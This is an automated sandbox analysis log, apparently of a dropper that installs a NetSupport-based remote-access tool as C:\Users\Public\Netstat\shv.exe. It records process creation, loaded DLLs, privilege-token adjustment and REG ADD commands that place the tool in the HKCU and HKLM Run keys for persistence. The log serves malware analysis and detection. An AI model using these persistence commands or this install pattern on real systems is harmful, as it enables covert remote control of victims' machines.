Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11167485	5_2_11167485
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110454F0	5_2_110454F0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1101B760	5_2_1101B760
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_111258B0	5_2_111258B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1101BBA0	5_2_1101BBA0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11087C60	5_2_11087C60
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11070090	5_2_11070090
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11080480	5_2_11080480
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1115E980	5_2_1115E980
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1101C9C0	5_2_1101C9C0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11061C90	8_2_11061C90
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11033010	8_2_11033010
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110733B0	8_2_110733B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11163220	8_2_11163220
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11029590	8_2_11029590
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11167485	8_2_11167485
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110454F0	8_2_110454F0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1101B760	8_2_1101B760
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_111258B0	8_2_111258B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1101BBA0	8_2_1101BBA0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11087C60	8_2_11087C60
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11070090	8_2_11070090
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11080480	8_2_11080480
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1115E980	8_2_1115E980
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1101C9C0	8_2_1101C9C0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110088AB	8_2_110088AB
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11050D80	8_2_11050D80

Source: C:\Users\Public\Netstat\shv.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 110B7A20 appears 39 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 11146450 appears 1094 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 1109D8C0 appears 32 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 11146EC0 appears 39 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 110278E0 appears 91 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 1116F010 appears 66 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 11029450 appears 1793 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 111603E3 appears 74 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 11173663 appears 35 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 1105DD10 appears 555 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 11081BB0 appears 77 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 1105DE40 appears 51 times
Source: C:\Users\Public\Netstat\shv.exe	Code function: String function: 11164010 appears 64 times

Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamehtctl32.dll2 vs file.exe
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametcctl32.dll2 vs file.exe
Source: file.exe, 00000000.00000003.1673741447.000001AFA58C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepcicl32.dll2 vs file.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"

Source: classification engine

Classification label: mal92.rans.evad.winEXE@19/13@1/2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE18B6D8 GetLastError,FormatMessageW,LocalFree,

0_2_00007FF6FE18B6D8

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1109D440 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	5_2_1109D440
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1109D4D0 AdjustTokenPrivileges,CloseHandle,	5_2_1109D4D0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1109D440 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	8_2_1109D440
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1109D4D0 AdjustTokenPrivileges,CloseHandle,	8_2_1109D4D0

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_11115B70 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

5_2_11115B70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE1A8624 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00007FF6FE1A8624

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_11127E10 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

5_2_11127E10

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Netstat

Jump to behavior

Source: C:\Users\Public\Netstat\shv.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2872:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Netstat\shv.exe C:\Users\Public\Netstat\shv.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Netstat\shv.exe C:\Users\Public\Netstat\shv.exe
Source: unknown	Process created: C:\Users\Public\Netstat\shv.exe "C:\Users\Public\Netstat\shv.exe"
Source: unknown	Process created: C:\Users\Public\Netstat\shv.exe "C:\Users\Public\Netstat\shv.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Netstat\shv.exe C:\Users\Public\Netstat\shv.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Netstat\shv.exe C:\Users\Public\Netstat\shv.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\Public\Netstat\shv.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 2283788 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msvcr100.i386.pdb source: shv.exe, shv.exe, 00000005.00000002.4133157062.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 00000008.00000002.1694833283.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 00000009.00000002.1806765097.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 0000000B.00000002.1887019832.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 0000000E.00000002.1968818486.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: shv.exe, 00000005.00000002.4133414083.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 00000008.00000002.1695153610.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 00000009.00000002.1807037873.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 0000000B.00000002.1887260588.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 0000000E.00000002.1969045817.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
